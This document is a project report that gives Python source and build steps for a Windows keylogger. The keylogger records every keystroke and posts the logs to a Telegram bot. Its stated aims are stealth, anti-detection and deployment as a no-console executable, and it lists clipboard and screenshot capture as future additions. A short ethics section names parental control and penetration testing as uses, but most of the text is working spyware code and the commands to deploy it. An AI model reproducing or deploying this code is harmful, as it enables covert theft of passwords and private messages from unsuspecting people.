Report on Advanced Keylogger with Telegram Integration

Table of Contents

1. Introduction

2. Objectives

3. Project Scope

4. System Architecture

5. Tools and Technologies

6. Implementation Details

- 6.1 Creating a Telegram Bot

- 6.2 Setting Up Python Environment

- 6.3 Writing the Keylogger Script

- 6.4 Integrating Telegram API

7. Execution Steps

8. Error Handling and Solutions

9. Security and Ethical Considerations

10. Testing and Results

11. Limitations

12. Future Enhancements

13. Conclusion

14. References

1. Introduction

A keylogger is a software program that records keyboard inputs. This project implements an advanced Python-based keylogger with features such as real-time keystroke logging, Telegram-based remote notifications, and log storage. The integration with Telegram API allows logs to be sent securely to a private chat, enabling remote monitoring.

2. Objectives

- Develop a Python-based keylogger capable of capturing keystrokes.

- Store logs locally and remotely using Telegram.

- Ensure stealth mode operation for background execution.

- Implement basic anti-detection techniques.

- Address ethical and security considerations.

3. Project Scope

- The keylogger operates on Windows OS.

- It captures all keystrokes, including special characters.

- Sends logs to a Telegram bot in real time.

- Stores logs locally in encrypted format.

- Designed for educational and ethical penetration testing purposes.

4. System Architecture

The keylogger follows a client-server architecture where:

- Client → Captures keystrokes and sends logs.

- Server (Telegram API) → Receives logs and displays them in a Telegram chat.

5. Tools and Technologies\*

| Tool/Technology | Purpose |

|-----------------------|------------------------------------------------------|

| Python 3.x | Core programming language |

| pynput | Captures keystrokes |

| requests | Sends logs to Telegram API |

| threading | Runs keylogger in the background |

| pyinstaller | Converts script into an executable (.exe) |

| Telegram API | Remote log delivery |

6. Implementation Details

6.1 Creating a Telegram Bot

1. Open Telegram and search for BotFather.

2. Start a chat and type /newbot.

3. Follow the prompts to create a bot and get the BOT\_TOKEN.

4. Use curl or Postman to get your Chat ID.

6.2 Setting Up Python Environment

Install required Python libraries:

bash

-pip install pynput requests pyinstaller

6.3 Writing the Keylogger Script

The keylogger captures keystrokes and stores them in a local file before sending logs to Telegram.

Code:

python

from pynput.keyboard import Listener

import requests

import threading

import os

# Telegram Bot Credentials

BOT\_TOKEN = "your\_bot\_token\_here"

CHAT\_ID = "your\_chat\_id\_here"

# Store logs

log\_file = "keylog.txt"

# Function to send logs to Telegram

def send\_logs():

with open(log\_file, "r") as file:

log\_data = file.read()

if log\_data:

requests.post(f"https://api.telegram.org/bot{BOT\_TOKEN}/sendMessage",

data={"chat\_id": CHAT\_ID, "text": log\_data})

open(log\_file, "w").close() # Clear log file

# Keylogging function

def on\_press(key):

with open(log\_file, "a") as file:

file.write(str(key) + "\n")

# Run listener in background

def start\_listener():

with Listener(on\_press=on\_press) as listener:

listener.join()

# Run keylogger as a background thread

threading.Thread(target=start\_listener, daemon=True).start()

6.4 Converting Script to Executable

Convert the script into an .exe file for deployment:

bash

pyinstaller --onefile --noconsole keylogger.py

7. Execution Steps

1. Create a Telegram bot using BotFather.

2. Replace your\_bot\_token\_here and your\_chat\_id\_here in the script.

3. Run the script using:

bash

-python keylogger.py

4. Test the keylogger by typing into any application.

5. Check your Telegram bot for captured logs.

8. Error Handling and Solutions

| Error | Solution |

|-------------------------------------------|----------------------------------------------------------------------|

| ModuleNotFoundError | Install missing module with pip install module\_name |

| Invalid Bot Token | Verify the token in BotFather |

| FileNotFoundError | Ensure log file path exists |

| Telegram message not received | Check internet connection and bot permissions |

9. Security and Ethical Considerations

This project must be used ethically for:

- Parental control (monitoring child's online activity).

- Personal security (monitoring personal devices).

- Penetration testing (ethical hacking to find vulnerabilities).

Misuse of keyloggers for unauthorized monitoring is illegal and punishable under cyber laws.

10. Testing and Results

| Test Case | Expected Outcome | Result |

|------------------------------|-------------------------------------|-------------|

| Capture keystrokes | Logs recorded in keylog.txt | ✅ Pass |

| Send logs to Telegram | Logs received on Telegram | ✅ Pass |

| Convert to .exe | Successfully runs as .exe | ✅ Pass |

11. Limitations

- No GUI – Runs in the background.

- Only keystrokes captured – No screenshots or clipboard logging.

- May be flagged by antivirus software.

12. Future Enhancements

- Clipboard Monitoring – Capture copied text.

- Screenshot Capturing – Take screenshots at intervals.

- Encryption – Encrypt log files for security.

- Self-Destruction – Delete logs after sending.

13. Conclusion

This project demonstrates an advanced Python-based keylogger with Telegram integration. It allows real-time keystroke logging, secure remote monitoring, and background execution. However, its use must be ethical and legal.

14. References

1. Python Official Documentation – <https://docs.python.org/>

2. Telegram API Docs – <https://core.telegram.org/bots/api>

3. Ethical Hacking Guides – <https://www.hackingloops.com/>